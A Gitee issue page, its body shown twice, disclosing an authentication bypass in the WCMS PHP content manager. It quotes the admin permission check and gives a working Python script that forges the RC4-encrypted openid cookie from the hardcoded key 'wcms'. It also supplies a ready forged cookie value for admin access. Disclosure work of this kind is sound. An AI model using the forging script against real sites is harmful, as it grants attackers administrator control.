Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
1
Star
0
nwtmd5
/
cve
Code
Issues
3
Pull Requests
0
Wiki
Pipelines
Service
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
大灰狼/WCMS-Broken Access Control
Backlog
#IC6O7D
nwtmd5
owner
Opened this issue
2025-05-09 19:43
Project address:https://gitee.com/wcms/WCMS Question: There is an authentication bypass issue in this project. Function point: /index.php?articleadmin/getallcon Administrator Privilege Check ``` <?php /** * 权限管理 * User: Administrator * Date: 2018/8/27 * Time: 10:56 */ class AdminController extends Action { private $_user_global; public function __construct() { if (empty($_COOKIE['openid'])) { $this->redirect("请先登录!","/index.php?anonymous/login",true); } $customerSer = new EncryptService(); if(strpos($_COOKIE['openid'],"%")){ $openid=urldecode($_REQUEST['opexnid']); }else{ $openid=$_COOKIE['openid']; } $str = $customerSer->jiemi($openid); preg_match("#wcms\#(\d+)\#wcms#", $str, $rs); $memberSer = new MemberService(); $this->_user_global = $memberSer->getMemberByUid($rs[1]); if($this->_user_global['status']<0){ $this->sendNotice("账号异常", null, false); } if($this->_user_global['groupid']!=1){ echo "权限不足,请等待管理员审核!"; exit(); } $this->view()->assign('user',$this->_user_global); } public function getUserInfo(){ var_dump($this->_user_global); } } ``` According to this chart, the combination method for openid is: jiami(wcms#+user's uid+#wcms). The encryption process of the jiami function has been analyzed, and it was found to use RC4 encryption, which is then base64 encoded.  According to the following diagram, it can be seen that the regular expression matches the user uid in the decrypted openid, puts the matched uid into $rs, and then queries the result set of this uid in the database through the getMemberByUid function. Finally, it verifies permissions based on the groupid in the result set.     After analyzing this permission verification process, it is only necessary to know the uid of the admin account to spoof and bypass the authentication. The uid can be generated using a script for spoofing tests. Encryption method(python): ``` import hashlib import base64 class EncryptService: def __init__(self): self._key = 'wcms' def jiemi(self, code): return self._encrypt(code, 'D', self._key) def jiami(self, id): return self._encrypt(str(id), 'E', self._key) def _encrypt(self, string, operation, key): # 处理密钥 key = hashlib.md5(key.encode('utf-8')).hexdigest() key_length = len(key) if operation == 'D': # Base64解码并处理填充 code = string.encode('utf-8') code += b'=' * (-len(code) % 4) try: string = base64.b64decode(code) except: return '' else: # 生成MD5前缀 pre = hashlib.md5((string + key).encode('utf-8')).hexdigest()[:8] string = pre + string # 转换为字节处理 string_bytes = string.encode('latin1') if operation == 'E' else string # 初始化S盒 box = list(range(256)) rndkey = [ord(key[i % key_length]) for i in range(256)] # KSA阶段(密钥调度算法) j = 0 for i in range(256): j = (j + box[i] + rndkey[i]) % 256 box[i], box[j] = box[j], box[i] # PRGA阶段(伪随机生成算法)和异或处理 a = j = 0 result = bytearray() for byte in string_bytes: a = (a + 1) % 256 j = (j + box[a]) % 256 box[a], box[j] = box[j], box[a] k = box[(box[a] + box[j]) % 256] result.append(byte ^ k) if operation == 'D': # 验证并返回解密结果 result_bytes = bytes(result) if len(result_bytes) < 8: return '' pre_check = result_bytes[:8].decode('latin1') data_part = result_bytes[8:].decode('latin1') # 计算校验值 md5_input = (data_part + key).encode('latin1') md5_hash = hashlib.md5(md5_input).hexdigest()[:8] return data_part if pre_check == md5_hash else '' else: # 返回Base64编码结果(去除填充等号) return base64.b64encode(result).decode('utf-8').rstrip('=') if __name__ == '__main__': es = EncryptService() encrypted = es.jiami('wcms#5005#wcms') # 加密数字 print(f"加密结果:{encrypted}") decrypted = es.jiemi(encrypted) # 解密数据 print(f"解密结果:{decrypted} ({type(decrypted)})") ``` Operation result:  TEXT:  Replace the cookie with a forged one. Please note that there is URL decoding here, so the forged openid needs to be URL encoded.  The openid after URL encoding is VjTb4SxmEGJ+s563x6ulH0uTaQq49Q 
Project address:https://gitee.com/wcms/WCMS Question: There is an authentication bypass issue in this project. Function point: /index.php?articleadmin/getallcon Administrator Privilege Check ``` <?php /** * 权限管理 * User: Administrator * Date: 2018/8/27 * Time: 10:56 */ class AdminController extends Action { private $_user_global; public function __construct() { if (empty($_COOKIE['openid'])) { $this->redirect("请先登录!","/index.php?anonymous/login",true); } $customerSer = new EncryptService(); if(strpos($_COOKIE['openid'],"%")){ $openid=urldecode($_REQUEST['opexnid']); }else{ $openid=$_COOKIE['openid']; } $str = $customerSer->jiemi($openid); preg_match("#wcms\#(\d+)\#wcms#", $str, $rs); $memberSer = new MemberService(); $this->_user_global = $memberSer->getMemberByUid($rs[1]); if($this->_user_global['status']<0){ $this->sendNotice("账号异常", null, false); } if($this->_user_global['groupid']!=1){ echo "权限不足,请等待管理员审核!"; exit(); } $this->view()->assign('user',$this->_user_global); } public function getUserInfo(){ var_dump($this->_user_global); } } ``` According to this chart, the combination method for openid is: jiami(wcms#+user's uid+#wcms). The encryption process of the jiami function has been analyzed, and it was found to use RC4 encryption, which is then base64 encoded.  According to the following diagram, it can be seen that the regular expression matches the user uid in the decrypted openid, puts the matched uid into $rs, and then queries the result set of this uid in the database through the getMemberByUid function. Finally, it verifies permissions based on the groupid in the result set.     After analyzing this permission verification process, it is only necessary to know the uid of the admin account to spoof and bypass the authentication. The uid can be generated using a script for spoofing tests. Encryption method(python): ``` import hashlib import base64 class EncryptService: def __init__(self): self._key = 'wcms' def jiemi(self, code): return self._encrypt(code, 'D', self._key) def jiami(self, id): return self._encrypt(str(id), 'E', self._key) def _encrypt(self, string, operation, key): # 处理密钥 key = hashlib.md5(key.encode('utf-8')).hexdigest() key_length = len(key) if operation == 'D': # Base64解码并处理填充 code = string.encode('utf-8') code += b'=' * (-len(code) % 4) try: string = base64.b64decode(code) except: return '' else: # 生成MD5前缀 pre = hashlib.md5((string + key).encode('utf-8')).hexdigest()[:8] string = pre + string # 转换为字节处理 string_bytes = string.encode('latin1') if operation == 'E' else string # 初始化S盒 box = list(range(256)) rndkey = [ord(key[i % key_length]) for i in range(256)] # KSA阶段(密钥调度算法) j = 0 for i in range(256): j = (j + box[i] + rndkey[i]) % 256 box[i], box[j] = box[j], box[i] # PRGA阶段(伪随机生成算法)和异或处理 a = j = 0 result = bytearray() for byte in string_bytes: a = (a + 1) % 256 j = (j + box[a]) % 256 box[a], box[j] = box[j], box[a] k = box[(box[a] + box[j]) % 256] result.append(byte ^ k) if operation == 'D': # 验证并返回解密结果 result_bytes = bytes(result) if len(result_bytes) < 8: return '' pre_check = result_bytes[:8].decode('latin1') data_part = result_bytes[8:].decode('latin1') # 计算校验值 md5_input = (data_part + key).encode('latin1') md5_hash = hashlib.md5(md5_input).hexdigest()[:8] return data_part if pre_check == md5_hash else '' else: # 返回Base64编码结果(去除填充等号) return base64.b64encode(result).decode('utf-8').rstrip('=') if __name__ == '__main__': es = EncryptService() encrypted = es.jiami('wcms#5005#wcms') # 加密数字 print(f"加密结果:{encrypted}") decrypted = es.jiemi(encrypted) # 解密数据 print(f"解密结果:{decrypted} ({type(decrypted)})") ``` Operation result:  TEXT:  Replace the cookie with a forged one. Please note that there is URL decoding here, so the forged openid needs to be URL encoded.  The openid after URL encoding is VjTb4SxmEGJ+s563x6ulH0uTaQq49Q 
Comments (
0
)
Sign in
to comment
Status
Backlog
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
1
https://gitee.com/nwtmd5/cve.git
git@gitee.com:nwtmd5/cve.git
nwtmd5
cve
cve
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register